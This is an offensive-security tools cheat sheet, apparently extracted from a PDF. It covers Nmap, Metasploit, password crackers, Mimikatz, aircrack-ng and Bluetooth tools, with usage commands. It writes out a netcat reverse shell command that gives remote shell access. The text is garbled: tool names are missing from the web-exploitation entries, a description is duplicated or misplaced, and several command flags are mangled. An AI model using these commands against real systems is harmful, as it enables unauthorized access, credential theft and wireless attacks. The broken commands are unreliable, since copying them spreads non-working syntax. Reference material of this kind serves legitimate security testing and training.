

Ethical Hacking Tools Cheatsheet

A comprehensive cheat sheet covering essential tools used in ethical hacking, their functionalities, and common use cases. This serves as a quick reference for penetration testers and security professionals.



Reconnaissance Tools

Network Scanning

Nmap (Network Mapper)	A versatile tool for network discovery and security auditing. It can identify hosts, services, operating systems, and firewall rules. Usage: (nmap -sV -A target_ip)
Zenmap	The GUI version of Nmap, providing a user-friendly interface for complex scans and visualizing network topologies. Usage: Launch Zenmap and configure scan profiles.
Masscan	A high-speed port scanner designed for scanning large networks quickly. Usage: masscan -p1-65535 target_ip/24
Netdiscover	An active/passive ARP reconnaissance tool. Usage: netdiscover -i eth0 - r 192.168.1.0/24
Hping3	A command-line packet analyzer/assembler. Usage: (hping3 -S target_ip - p 80)

Vulnerability Scanning

Nessus	A comprehensive vulnerability scanner that identifies security flaws, missing patches, and malware. Usage: Configure scan policies and target IPs via the Nessus web interface.
OpenVAS	An open-source vulnerability scanner that performs comprehensive security assessments. Usage: Set up scan targets and schedules via the OpenVAS web interface.
Nikto	A web server scanner which performs comprehensive tests against web servers for multiple items, including dangerous files/CGIs, outdated server software and other problems. Usage: nikto -h target_url

Web Reconnaissance

Dirbuster	A Java application used to brute- force directories and files on web servers.
	Usage: Configure the target URL and wordlist in Dirbuster's GUI.
Wappalyzer	A browser extension that identifies technologies used on a website.
	Usage: Install the Wappalyzer extension and visit the target website.
WhatWeb	A website fingerprinting tool that identifies technologies and CMS versions.
	Usage: whatweb target_url

Exploitation Tools

Exploitation Frameworks

Metasploit	A powerful framework for developing and executing exploit code against a remote target. Usage: msfconsole to launch,
	then use (search), use), set), and (exploit) commands.
Armitage	A GUI front-end for Metasploit, simplifying exploit selection and management.
	Usage: Launch Armitage and connect to a Metasploit instance.
	'
Core Impact	A commercial penetration testing tool that automates vulnerability assessment and exploitation.
	tool that automates vulnerability

Web Application Exploitation

performing security testing of web applications.
Usage: Configure Burp Suite as a proxy and intercept web traffic to analyze and modify requests.
A free, open-source web application security scanner.
Usage: Configure ZAP as a proxy and use automated or manual testing features.
An automated SQL injection tool that detects and exploits SQL injection vulnerabilities.
<pre>Usage: sqlmap -u target_url dbs</pre>

Password Cracking

John the Ripper	A fast password cracker that supports multiple hash types.
	<pre>Usage: (john wordlist=wordlist.txt hash_file)</pre>
Hashcat	An advanced password recovery tool with GPU acceleration.
	<pre>Usage: (hashcat -m hash_type hash_file wordlist.txt)</pre>

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Post-Exploitation Tools

Privilege Escalation

LinEnum.sh	A script to enumerate information from Linux systems for privilege escalation.
	Usage: Transfer the script to the target, make it executable, and run it.
Windows Exploit Suggester (wes.py)	A Python script to suggest potential exploits for Windows systems based on patch levels.
	Usage: Run the script against systeminfo output.

Data Extraction

Mimikatz	A tool to extract plaintext passwords, hash, PIN codes and kerberos tickets from memory. Usage: Load Mimikatz module in Metasploit or run directly on the target.
PowerShell Empire	A post-exploitation framework for PowerShell, enabling data exfiltration and persistence. Usage: Set up Empire server and agents on the target.

Maintaining Access

Reverse Shells	Establish a reverse shell for persistent access.
	Example: nc -lvp 4444 (listener) and nc target_ip 4444 -e /bin/sh (target)
Cron Jobs	Schedule tasks for persistent access.
	Usage: crontab -e to edit cron jobs.

Wireless Hacking Tools

Wireless Reconnaissance

Suite	wireless network assessment.
	Tools: (airodump-ng), (aireplay-ng), (aircrack-ng).
Kismet	A wireless network detector, sniffer, and intrusion detection system.
	Usage: Run Kismet to passively collect wireless network data.

Aircrack-ng A complete suite of tools for

Wireless Exploitation

Aireplay- ng	Used to inject packets, useful for deauthenticating clients or generating traffic.
	Usage: aireplay-ng -0 1 -a AP_MAC -c CLIENT_MAC wlan0
Aircrack- ng	Used to crack WEP and WPA/WPA2- PSK keys.
	Usage: aircrack-ng -w

wordlist.txt capture.cap

Bluetooth Hacking

Bluelog	Discovers Bluetooth devices.
	Usage: Run Bluelog to scan for nearby Bluetooth devices.
Bluesnarfer	Exploits Bluetooth vulnerabilities to access data.
	Usage: Bluesnarfer target_MAC

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